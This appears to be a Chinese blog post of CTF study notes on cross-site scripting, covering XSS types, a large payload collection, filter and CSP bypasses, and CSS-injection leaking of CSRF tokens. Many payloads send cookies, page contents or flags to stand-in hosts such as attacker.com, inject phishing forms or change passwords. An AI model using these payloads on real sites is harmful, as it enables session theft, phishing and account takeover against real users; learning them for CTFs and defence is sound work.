xss

xss

https://ctf.aabyss.cn/xss-labs/index.php

https://xz.aliyun.com/news/17955

https://blog.csdn.net/m0_73610345/article/details/155503350)

https://marblue.pink/2025/05/31/Web%E5%9F%BA%E7%A1%80-1

https://wilesangh.github.io/ctf-web/xss_guide/#22

https://aszx87410.github.io/beyond-xss/ch3/css-injection/

https://aszx87410.github.io/beyond-xss/ch3/css-injection-2/

原理:

当应用程序将攻击者提交的数据发送到受害者浏览器的页面中,但未经过适当的验证或转义时,若攻击者提交的数据中包含恶意脚本,那么它便会在受害者浏览器上自动执行

基本知识:一些语法:

javascript:
new Image():创建HTMLImageElement对象的简写方式,等价于:document.createElement('img');

Image:浏览器全局对象,调用new Image()会创建一个未插入DOM的图片元素。

.src = "URL":设置图像的src属性,即要加载的图片地址。一旦设置 src,浏览器会立即向该 URL 发起 HTTP GET 请求,就像页面中有一个 <img 
src="..."> 标签一样。

fetch():用于发起 HTTP/HTTPS 网络请求 的标准 API,格式:fetch(url, [options])

<script>标签:
渲染html时,若遇到该标签,浏览器会自动停止渲染并执行标签内的javascript
例:<script></script>

可执行HTML标签:
<img>:HTML中的图像嵌入标签,用于在网页中显示图片。它是一个自闭合标签(没有结束标签),必须通过 src 属性指定图片的 URL。
例:<img src="image.jpg" alt="描述文字">

<svg>:HTML5中用于定义可缩放矢量图形(Scalable Vector Graphics) 的容器标签。它允许在网页中嵌入矢量图形,支持形状、路径、文本、动画等。
例:<svg width="100" height="100">
        <circle cx="50" cy="50" r="40" fill="red" />
    </svg>

<body>:HTML文档的主体部分标签,包含网页中所有可见内容,如文本、图像、链接、表格等。每个HTML页面只能有一个 <body> 标签。
例:<body>
     <h1>网页标题</h1>
     <p>段落内容</p>
   </body>

<iframe>:内联框架标签,用于在当前网页中嵌入另一个网页或文档。它创建一个独立的浏览上下文。
例:<iframe src="https://example.com" width="600" height="400"></iframe>

<a>:超链接标签(anchor),用于创建可点击的链接,跳转到其他网页、页面锚点或执行特定协议(如 mailto:)。
例:<a href="https://example.com">访问示例网站</a>

<video>:HTML5 中用于嵌入视频内容的标签,支持播放、暂停、音量控制等。
例:<video src="movie.mp4" controls width="640" height="360"></video>

<audio>:HTML5 中用于嵌入音频内容的标签,用于播放声音文件。
例:<audio src="sound.mp3" controls></audio>

<input>:表单输入控件标签,用于创建文本框、按钮、复选框等多种用户输入组件。其行为由 type 属性决定。
例:<input type="text" name="username" placeholder="请输入用户名">

<textarea>:多行文本输入框标签,用于让用户输入较长的文本内容。
例:<textarea name="comment" rows="4" cols="50">默认内容</textarea>

<details>:HTML5 中用于创建可折叠/展开的内容区块的标签,通常与 <summary> 配合使用。
例:<details>
        <summary>点击展开</summary>
        <p>这里是隐藏的内容。</p>
   </details>

<embed>:用于嵌入外部内容(如插件内容、PDF、Flash 等)的标签,是一个通用嵌入容器。
例:<embed src="document.pdf" type="application/pdf" width="600" height="500">

<object>:用于嵌入外部资源(如图像、PDF、Java applet、Flash 等)的标签,比 <embed> 更标准化,可提供备用内容。
例:<object data="animation.swf" type="application/x-shockwave-flash">
        <p>您的浏览器不支持 Flash。</p>                        
   </object>

<form>:表单容器标签,用于将用户输入的数据提交到服务器。它包含各种输入控件(如 <input>, <textarea>)。
例:<form action="/submit" method="post">
        <input type="text" name="name">
        <button type="submit">提交</button>
   </form>

<math>:MathML(数学标记语言) 的根标签,用于在网页中精确显示数学公式。它是 XML 的一种应用。
例:<math>
        <mi>x</mi>
        <mo>=</mo>
        <mfrac>
          <mrow><mo>-</mo><mi>b</mi></mrow>
          <mrow><mn>2</mn><mi>a</mi></mrow>
        </mfrac>
   </math>

<select>:HTML中用于创建下拉选择菜单(下拉列表)的表单控件标签。它允许用户从一组预定义的选项中选择一个或多个值,必须与 <option> 标签配合使用  
        (<option> 定义每个可选项)
例:<select name="字段名">
       <option value="值1">显示文本1</option>
       <option value="值2">显示文本2</option>
       <option value="值3" selected>显示文本3(默认选中)</option>
    </select>      

<base>:HTML 中用于为页面中所有相对 URL 指定基准 URL 的元信息标签。它必须放在 <head> 区域中,且整个页面只能有一个 <base> 标签。
例:<head>
       <base href="https://example.com/static/">
   </head>

事件处理器:是 HTML 元素中用于响应用户操作或浏览器行为的属性。当特定事件(如点击、加载、键盘输入等)发生时,浏览器会自动执行该属性中指定的 JavaScript 代码。

onload
   触发时机:元素(如图片、脚本、窗口)加载完成时
   适用元素:<body>, <img>, <script>, <iframe>, <link>, <svg> 等

onerror
   触发时机:元素加载失败时(如图片 URL 无效)
   适用元素:<img>, <video>, <audio>, <object>, <script>, <link> 等

onclick
   触发时机:用户用鼠标点击该元素时
   适用元素:几乎所有可交互元素(<div>, <button>, <a>, <input> 等)

onmouseover
   触发时机:用户将鼠标指针移动到元素上时
   适用元素:所有可见元素

onmouseout
   触发时机:用户将鼠标指针移出元素时
   适用元素:所有可见元素

onfocus
   触发时机:元素获得焦点时(如用户点击输入框或按 Tab 键进入)
   适用元素:<input>, <textarea>, <select>, <button> 等可聚焦元素

onblur
   触发时机:元素失去焦点时(如用户点击页面其他位置)
   适用元素:可聚焦元素

onkeydown
   触发时机:用户按下键盘上的某个键时
   适用元素:<body> 或任何可获得焦点的元素

onkeyup
   触发时机:用户释放键盘上的某个键时
   适用元素:同上

onchange
   触发时机:元素的值发生改变并失去焦点时(如选择下拉选项后)
   适用元素:<input>, <select>, <textarea>

onsubmit
   触发时机:表单被提交时
   适用元素:<form>

onreset
   触发时机:表单重置按钮被点击时
   适用元素:<form>

onscroll
   触发时机:元素或窗口发生滚动时
   适用元素:<body>, 任何可滚动容器

onresize
   触发时机:窗口或框架被调整大小时
   适用元素:<body>, <frameset>

ontoggle
   触发时机:<details> 元素的展开或折叠状态发生变化时
   适用元素:<details>

oncontextmenu
   触发时机:用户右键点击元素以打开上下文菜单时
   适用元素:所有元素

ondrag / ondrop 系列
   触发时机:用户进行拖放操作时
   适用元素:任何可拖动或可放置的元素

JavaScript伪协议(javascript: URI scheme):一种特殊的 URL 协议,用于在支持的上下文中直接执行 JavaScript 代码。
当浏览器遇到一个 javascript: URI 时:
    1:解析 URI,提取 : 后的 JavaScript 代码字符串
    2:在当前页面的上下文(origin)中,将该字符串作为 JavaScript 代码执行
    3:返回代码的执行结果:
    4:如果返回值是 字符串,浏览器会用该字符串替换当前页面的全部内容
       如果返回值是 undefined、null、void(0) 或无返回值,页面保持不变
例:<a href="javascript:alert('Hello')">点击</a>
支持 javascript:的html属性:<a href>,<iframe src>,window.location,window.open()
//location.href = 'javascript:...' 有效
//window.open('javascript:...') 有效
            
       

     
DOM:HTML/XML 文档的编程接口(API)。它将整个网页表示为一个由节点(Node)组成的树形结构,JavaScript 可以通过 DOM API 动态访问和操作这些节   
     点。
   document.cookie:窃取 Cookie

   localStorage:窃取 Token

   location.href:获取当前 URL

   location.hash:获取 # 后内容(包括#)

   location.search:返回URL中?之后的部分(包括?)

   document.referrer:获取来源页

   window.name:跨页面传递数据

   document.forms:获取所有表单

   document.scripts:获取所有脚本

   document.write():用于将字符串写入到当前 HTML 文档流中。

   document.location:获取或设置当前页面的 URL。它实际上是 window.location 的一个别名,因此在功能上与 window.location 完全相同。

   document.URL:用于获取当前页面的完整 URL 字符串。

   document.URLUnencoded:用于返回未经过 URL 编码的文档地址。(十分老旧,且不是很规范,不一定存在)

   document.writeln():用于向 HTML 文档输出内容的方法,它会在输出的末尾自动添加一个换行符(n)。

   document.body.innerHTML:用于获取或设置 HTML 文档 <body> 元素内的所有 HTML 内容(不包括 <body> 标签本身)。
   //通过 innerHTML 插入的 <script> 标签默认不会执行, 但iframe 的 srcdoc 屬性可以放入完整的 HTML,可以想成是建立一個全新的網頁,因此原本沒
   //用的 <script> 標籤放在這邊就有用了,而且因為是屬性,所以內容可以先做編碼  
   //document.body.innerHTML = '<iframe srcdoc="<script>alert(1)</script>"></iframe>'    

   eval():用于将传入的字符串当作 JavaScript 代码进行解析和执行。

   window.execScript():用于执行指定的脚本代码。       // window.execScript("alert('Hello from IE!');", "JavaScript");

   window.setInterval():用于重复执行某个函数或代码片段的定时器方法,每隔指定的毫秒数执行一次,直到被手动清除或页面关闭。
   //let intervalID = setInterval(function[, delay, arg1, arg2, ...]);
   //let intervalID = setInterval(codeString, delay);

   window.setTimeout():会在指定的毫秒数后执行一次该代码,然后自动结束。可跟上面的配套食用,停止计时器   
   //let timeoutID = setTimeout(function[, delay, arg1, arg2, ...]);
   //let timeoutID = setTimeout(codeString, delay);

xss的类型:

反射型 XSS(Reflected XSS):

    原理: 反射型 XSS 多出现在搜索框、登录页面等用户输入内容会被立即回显的位置。攻击者将恶意脚本注入到 URL 中,诱导用户点击特定链接,从而触

                  发脚本执行。

     条件:

                  1:用户点击了攻击者精心构造的 URL;

                  2:目标网站存在反射型 XSS 漏洞,并在页面中回显了未转义的用户输入。

     特点:

                  1:脚本不会被存储在服务器上,仅在一次请求-响应周期中生效;

                  2:需要用户主动点击攻击者构造的恶意链接;

                  3:常用于窃取 Cookie 或进行钓鱼欺骗。

      例:

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>

<div>
  您搜索的关键词是:<%= getParameter("keyword") %>
</div>

在该示例中,用户提交的 keyword 参数被直接嵌入到 HTML 页面中,既未经过任何过滤,也未进行 HTML 实体转义。若攻击者在搜索框中输入以下内容:

"><script>alert('XSS')</script>

页面最终渲染出来的 HTML 将变成如下所示:

<input type="text" value=""><script>alert('XSS')</script>">

此时脚本将被立即执行,弹出一个提示框。这个 payload 仅用于演示 XSS 漏洞的可执行性。实际上,攻击者可以利用这一漏洞执行任意 JavaScript 代码,例如窃取用户的 Cookie 信息:

<script>new Image().src="http://attacker.com/steal?c="+document.cookie;</script>

当用户访问被注入恶意脚本的页面时,浏览器会自动请求攻击者搭建的服务器,并在 URL 中附带当前用户的 Cookie。

常见注入点:

URL参数注入:
<p>搜索结果:<%= request.getParameter("query") %></p>
payload:https://example.com/search?query=<script>alert('XSS')</script>

错误信息中回显用户输入:
<p>出错啦,您输入的用户名是:<%= request.getParameter("username") %></p>
payload:用户名输入:<script>alert('XSS')</script>

表单输入字段:
<input type="text" value="<%= request.getParameter("keyword") %>">
paylaod:"><script>alert('XSS')</script>(">提前闭合)
存储型 XSS(Stored XSS):

      原理:攻击者将恶意脚本提交到服务器端,脚本会被存储在数据库、日志或其他持久化介质中,并在其他用户访问相关内容时被加载和执行。

     常见触发场景:

                  1:留言板、评论系统、论坛帖子、用户签名等交互区域;

                  2:管理员后台浏览用户内容时自动触发。

      特点:

                  1:可批量影响所有访问该页面的用户;

                  2:可造成蠕虫式传播、管理员权限劫持等严重后果;

                  3:攻击持续时间长,难以察觉。

常见注入点:

HTTP 请求头注入:
payload:User-Agent: <script>alert('XSS')</script>
后台记录日志的代码:<p>访问者信息:<%= request.getHeader("User-Agent") %></p>
若管理后台页面展示日志时未转义,管理员浏览时将触发 XSS。

留言功能注入:
攻击者提交评论内容:<script>fetch('http://evil.com/steal?c='+document.cookie)</script>
后台将评论存入数据库:INSERT INTO comments (content) VALUES ('<script>...</script>');
前台渲染:<div><%= comment.content %></div>
所有访问该评论的用户都将被攻击。
DOM 型 XSS(DOM-based XSS):

      原理:利用客户端浏览器对DOM(文档对象模型)的操作进行攻击。

      特点:

                  1:攻击入口仍通过 URL 参数传递;

                  2:恶意代码不出现在 HTML 源码中,而是在浏览器解析 DOM 时动态执行;

                  3:主要依赖客户端 JavaScript 中的不安全操作(如 document.write()innerHTMLeval() 等);

      常见注入点:

document.location

document.URL

document.URLUnencoded

document.referrer

window.location

document.write()

document.writeln()

document.body.innerHTML

eval()

window.execScript()

window.setInterval()

window.setTimeout()

      例:

<script>
  var url = document.location;
  url = unescape(url);
  var message = url.substring(url.indexOf('message=') + 8, url.length);
  document.write(message);
</script>

如果攻击者访问页面时将 URL 设置为:

http://example.com/page.html?message=<script>alert(1)</script>

脚本中的 document.write() 会将 <script>alert(1)</script> 动态写入页面,从而被执行。

payload集合:

基本弹窗(用于测试):
<script>alert('XSS')</script>

<img src=x onerror=alert('XSS')>

<script>alert(/hello/)</script> 

<script>alert(1)</script>       //(对于数字可以不用引号)

闭合标签:
'><script>alert('XSS')</script>

"><script>alert('XSS')</script> 

引用外部的xss:
<script src=http://xxx.com/xss.js></script>  

窃取用户 Cookie:
<script>alert(document.cookie)</script>

<script>
  new Image().src = "http://attacker.com/log?c=" + document.cookie;
</script>

钓鱼欺骗:
<script>
  document.body.innerHTML = '<form action="http://attacker.com/phish"><input name="pwd"></form>';
</script>

后台攻击:
<script>
  fetch('/admin/deleteAll', { method: 'POST' });
</script>

页面劫持:
http://example.com/page?msg=<script src="http://attacker.com/miner.js"></script>

无需用户交互的事件属性:
<style onreadystatechange=alert(1)></style>

<iframe onreadystatechange=alert(1)></iframe>

<object onerror=alert(1)></object>

<img src=valid.gif onreadystatechange=alert(1)>

<input type=image src=valid.gif onreadystatechange=alert(1)>

<body onbeforeactivate=alert(1)></body>

<video src=1 onerror=alert(1)></video>

<audio src=1 onerror=alert(1)>

脚本伪协议注入:
<object data="javascript:alert(1)"></object>

<iframe src="javascript:alert(1)"></iframe>

<event-source src="javascript:alert(1)"></event-source>

窃取数据脚本:
<script>window.location.href="http://attacker.com/collect?cookie="+document.cookie</script>

<script>document.location.href="http://attacker.com/collect?cookie="+document.cookie</script>

<script>window.open="http://attacker.com/collect?cookie="+document.cookie</script>

<script>window.location.href="http://attacker.com/collect?data="+document.getElementsByClassName('target-class')[0].innerHTML</script>

(使用 jQuery 选择器)
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctfshow{')>-1){
        window.location.href='http://attacker.com/'+value.innerHTML;
    }
});</script>            

(使用 jQuery 选择器(带过滤))
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {
    if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {
        window.location.href = 'http://attacker.com/' +value.innerHTML;
    }
});</script>

(使用 querySelector)
<script>var img = new Image();
img.src = "http://attacker.com/"+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);</script>

特殊标签利用:
(SVG标签)
<svg onload="alert(1)">
<svg onload="alert(1)"//
<svg onload="location.href='http://attacker.com/collect?c='+document.cookie"/>

(Body标签)
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>
<body/**/onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>
<body/onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body>

(Video标签)
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />

(Style标签)
<style onload=alert(1)></style>

(Iframe标签)
<iframe onload=document.location='http://attacker.com/collect?cookie='+document.cookie>

使用 Image 对象:
<script>var img = new Image();img.src = "http://attacker.com/"+document.cookie;</script>

使用 XMLHttpRequest:
<script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://attacker.com/api/change.php', true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.send('p=1234567');
</script> 

使用 jQuery AJAX:
<script>$.ajax({
    url:"api/amount.php",
    method:"POST",
    data:{'u':'1','a':''}
})</script> 

使用 jQuery AJAX 修改密码:
<script>$.ajax({
    url:"api/change.php",
    method:"POST",
    data:{'p':'1717'}
})</script> 

使用 jQuery AJAX 修改金额:
<script>$.ajax({
    url:"api/amount.php",
    method:"POST",
    data:{'u':'1','a':''}
})</script> 

监控脚本:
(使用 nc 监控)
<script>window.open('http://attacker.com:9033/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

(使用 jQuery 监控)
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctfshow{')>-1){
        window.location.href='http://attacker.com:9033/'+value.innerHTML;
    }
});</script>

(使用 jQuery 监控(带过滤))
<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {
    if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {
        window.location.href = 'http://attacker.com:9033/' +value.innerHTML;
    }
});</script>

留言板后台信息发布:

绕过:

利用大小写混淆绕过过滤(部分过滤器只匹配小写关键词):
"><ScRiPt>alert(document.cookie)</ScRiPt>

完整使用 URL 编码(%3e = '>',%3c = '<'),绕过对特殊字符的拦截:
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e

利用标签嵌套的方式绕过过滤器,例如将 <script> 拆分成多段:
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>

在前面插入空字节(%00),绕过部分语言或框架在处理字符串时的截断问题:
%00"><script>alert(document.cookie)</script>

空格替代字符:
<img%09onerror=alert(1) src=a>  <!-- Tab -->
<img%0aonerror=alert(1) src=a>  <!-- 换行 -->
<img/"onerror=alert(1) src=a>   <!-- 异常语法 -->

属性名绕过:
<img o%00nerror=alert(1) src=a>

属性分隔绕过:
<img onerror='alert(1)'src=a>

属性值编码绕过:
<img onerror=a%00lert(1) src=a>
<img onerror=a&#x006c;ert(1) src=a>
可编码属性:
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data=(仅支持 base64) 

绕过字符集与长度限制:
使用非标准编码:UTF-7,US-ASCII,UTF-16

拆分脚本:
<script>
  z = '<script src=';
  z += 'test.c';
  z += 'n/1.js></script>';
  document.write(z);
</script>
//<script src=test.cn/1.js></script>

Unicode 编码关键字:
<script>au006cert(1)</script>
结合 eval():
<script>eval('au006cert(1)')</script>

替代点操作符 .:
<script>alert(document['cookie'])</script>
<script>with(document)alert(cookie)</script>

回车拆分:
<a href="j
a
v
a
s
c
r
i
p
t:alert(1)">点击</a>

括号绕过:
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

代替http:// :
用//代替http://

利用Function:
JS有一个特性是 Function()()(注意这一定是要大写)。对于Function()来说,写在其第一个括号内的JS语句会被直接执行
例:Function(alert(1))();
还可以利用atob(),它的作用是把后面的base64编码还原
Function(atob`YWxlcnQoZG9jdW1lbnQuY29va2llKQ`)();   //反引号代替括号使用,括号也是可以的

绕过 CSP

一般长这样:

CSP通过这样的指令限制只能加载与页面本身相同来源的资源:script-src 'self'

通过指令限制只能从指定域中加载资源:script-src <https://scripts.normal-website.com>

CSP 还通过随机数和哈希值来指定可信资源:

      1:CSP 的指令指定一个随机数,加载脚本的标签也必须有相同的随机数。否则就不执行该脚本。并秉持一次性的原则,避免被猜解。

      2:CSP 指令可以指定脚本内容的哈希值。不匹配也是不会执行的。

绕过方式一:悬空标记攻击

假设应用程序没有过滤或转义>字符,但由于csp等原因常规XSS攻击是不可能,那么可以这么打:

"><img src='//attacker-website.com?

当载荷不会关闭src属性,该属性保留为悬空。当浏览器解析响应时,它将向前看,直到遇到一个单引号来终止属性。直到该字符之前的所有内容都将被视为URL的一部分,并将在URL查询字符串内发送到攻击者的服务器。任何非字母数字字符(包括换行符)都将进行URL编码。

CSRF令牌作为隐藏字段嵌入:

<input type="hidden" name="csrf_token" value="{{ csrf_token }}">

那么令牌就有可能被我们窃取,再然后用 CSRF 盗用 token,我们就可以用它代表用户执行未经授权操作

绕过方式二:经由base的绕过

如果csp没有设定base-uri指示,那么就可以使用base标签,这个标签的作用是改变所有相对路径的参考位置

注入:

<base href="https://attacker.com/">
<script src="malicious.js"></script>

那么malicious.js就会被解析为:https://attacker.com/malicious.js

绕过方式三:经由jsonp:

JSONP 是一种能够跨来源取得资料的方式,就是说允许一些跟非同源的网页的互动

因此,就出現了這樣一種交換資料的方式,假設現在有個 API 可以拿使用者的資料,他們會提供這樣一個路徑:https://example.com/api/users,回傳的內容並不是 JSON,而是一段 JavaScript 程式碼:

setUsers([
  {id: 1, name: 'user01'},
  {id: 2, name: 'user02'}
])

其中setUsers是一个前端javascrip生成的函数的函数名,在向后端api发起请求时传递过去让后端用这个函数名包裹返回的数据形成一个javascript程式码,这样前端就知道应该把返回的数据传递给哪个函数了(这里就是setUsers)

如果函数名时动态生成由url传递给后端,如:

https://example.com/api/users?callback=anyFunctionName

那么返回的数据经包裹后就是:

anyFunctionName([
  {id: 1, name: 'user01'},
  {id: 2, name: 'user02'}
])

这个时候如果我们对传过去的函数名进行篡改:

https://example.com/api/users?callback=alert(1);console.log

返回的数据:

alert(1);console.log([
  {id: 1, name: 'user01'},
  {id: 2, name: 'user02'}
])

这个时候攻击就产生了,浏览器会执行alert(1)

绕过方式四:重定向

如果被信任的服务器启动重定向,那么就可以绕过限制

例:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
  <div id=userContent>
    <script src="https://www.google.com/test"></script>
    <script src="https://www.google.com/a/test"></script>
    <script src="http://localhost:5555/301"></script>
  </div>
</body>
</html>

如果http://localhost:5555/301重定向到https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1),因为是重定向,那么就不会看path,导致对path的绕过

绕过方式五:经由rpo

例如說 CSP 允許的路徑是 https://example.com/scripts/react/,可以這樣繞過:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

那么最后浏览器载入的就是:

https://example.com/scripts/angular/angular.js

CSS injection:

css:是一种用于描述 HTML 或 XML(包括如 SVG、XHTML 等 XML 子集)文档外观和格式的样式表语言。它的主要作用是控制网页的呈现样式

比如:

<style>
    h1 {
      color: blue;
      font-family: Arial;
    }
    p {
      font-size: 16px;
      background-color: #f0f0f0;
    }
</style>

选择器:用来指定 HTML 元素(或一组元素)的规则,从而将样式应用到这些元素上,这里重点看看属性选择器:

a[href] { color: green; }:匹配有 href 属性的 <a>
input[type="submit"] { ... }:匹配 type="submit" 的 <input>
a[href^="https"] { ... }:href 以 "https" 开头
img[src$=".png"] { ... }:src 以 ".png" 结尾
div[class*="box"] { ... }:class 包含 "box"

那么我们就可以通过它来选择一些包含敏感数据的元素,同时,css由于需要外部加载一些背景图片之类的资源,所以也可以向外部发送request

input[name="secret"][value^="a"] {
  background: url(https://myserver.com?q=a)
}

input[name="secret"][value^="b"] {
  background: url(https://myserver.com?q=b)
}

input[name="secret"][value^="c"] {
  background: url(https://myserver.com?q=c)
}

//....

input[name="secret"][value^="z"] {
  background: url(https://myserver.com?q=z)
}

这样就可以逐个爆破出所有字符

但是选择器只会在能渲染的元素那里加载资源(无法渲染自然没必要加载),因此选择到 type 是 hidden的元素无法发送request,这时就可以使用相邻兄弟选择器,实例如下:

input[name="csrf-token"][value^="a"] + input {
  background: url(https://example.com?q=a)
}

其中+ input的作用是选到这个元素的下一个同类元素,这里就是选择下一个input元素然后加载资源,发出request

或者后面没有同类元素可以用has,实例如下:

html:
<form action="/action">
  <input name="username">
  <input type="submit">
  <input type="hidden" name="csrf-token" value="abc123">
</form>

paylaod:
form:has(input[name="csrf-token"][value^="a"]){
  background: url(https://example.com?q=a)
}

这样就会选择含有符合条件的input的form

将不可渲染元素改为可渲染其实也可以,以不可见元素meta为例:

假设有:
<meta name="csrf-token" content="abc123">

head, meta {
  display: block;  
}

meta[name="csrf-token"][content^="a"] {
  background: url(https://example.com?q=a);
} 

meta:before {
    content: attr(content);
}

由于meta所属的head也有display:none,所以也要更改,而伪元素搭配attr的作用则是让属性也能够显示在页面上

可是有时刷新页面时如CSRF token这样的敏感信息可能改变,为此可以用@import

@import:用于从一个 CSS 文件中导入另一个外部样式表

先打:

@import url(https://myserver.com/start?len=8)

然后攻击者服务器再返回:

<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style> 
//<style>标签可以解决部分浏览器返回一个response后不立刻更新style的问题

但这时几个请求攻击服务器要依次返回,第一次返回:

input[name="secret"][value^="a"] {
  background: url(https://b.myserver.com/leak?q=a)
}

input[name="secret"][value^="b"] {
  background: url(https://b.myserver.com/leak?q=b)
}

input[name="secret"][value^="c"] {
  background: url(https://b.myserver.com/leak?q=c)
}

//....

input[name="secret"][value^="z"] {
  background: url(https://b.myserver.com/leak?q=z)
}

这样爆破出第一个字符后再返回第二个请求,这里假设第一个字符是d:

input[name="secret"][value^="da"] {
  background: url(https://b.myserver.com/leak?q=da)
}

input[name="secret"][value^="db"] {
  background: url(https://b.myserver.com/leak?q=db)
}

input[name="secret"][value^="dc"] {
  background: url(https://b.myserver.com/leak?q=dc)
}

//....

input[name="secret"][value^="dz"] {
  background: url(https://b.myserver.com/leak?q=dz)
}

不过要注意,由于浏览器从同一个来源单次的请求数有上限,所以使用了两个源

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇